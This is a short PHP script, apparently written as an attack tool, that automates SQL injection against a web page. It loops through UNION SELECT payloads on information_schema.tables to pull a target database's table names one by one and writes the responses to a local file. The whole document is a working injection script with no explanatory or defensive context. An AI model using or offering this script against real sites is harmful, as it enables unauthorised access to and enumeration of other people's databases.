$file = "result.txt";
if (is_writable($file)) {
if (!$fop = fopen($file, 'a')) {
echo "Cannot open file";
exit;}}
else {
echo "The file file is not writable";
}
for ($i=1;$i<100;$i++) {
$url = fopen("http://bla-bal.com/index.php?id=5'+union+all+select+1,table_name+from+information_schema.tables+limit+$i,1/*", "r");
while (!feof($url)) {
$buffer = fgets($url, 128);{
fwrite($fop, $buffer);
}
}}
fclose($url);
fclose($fop);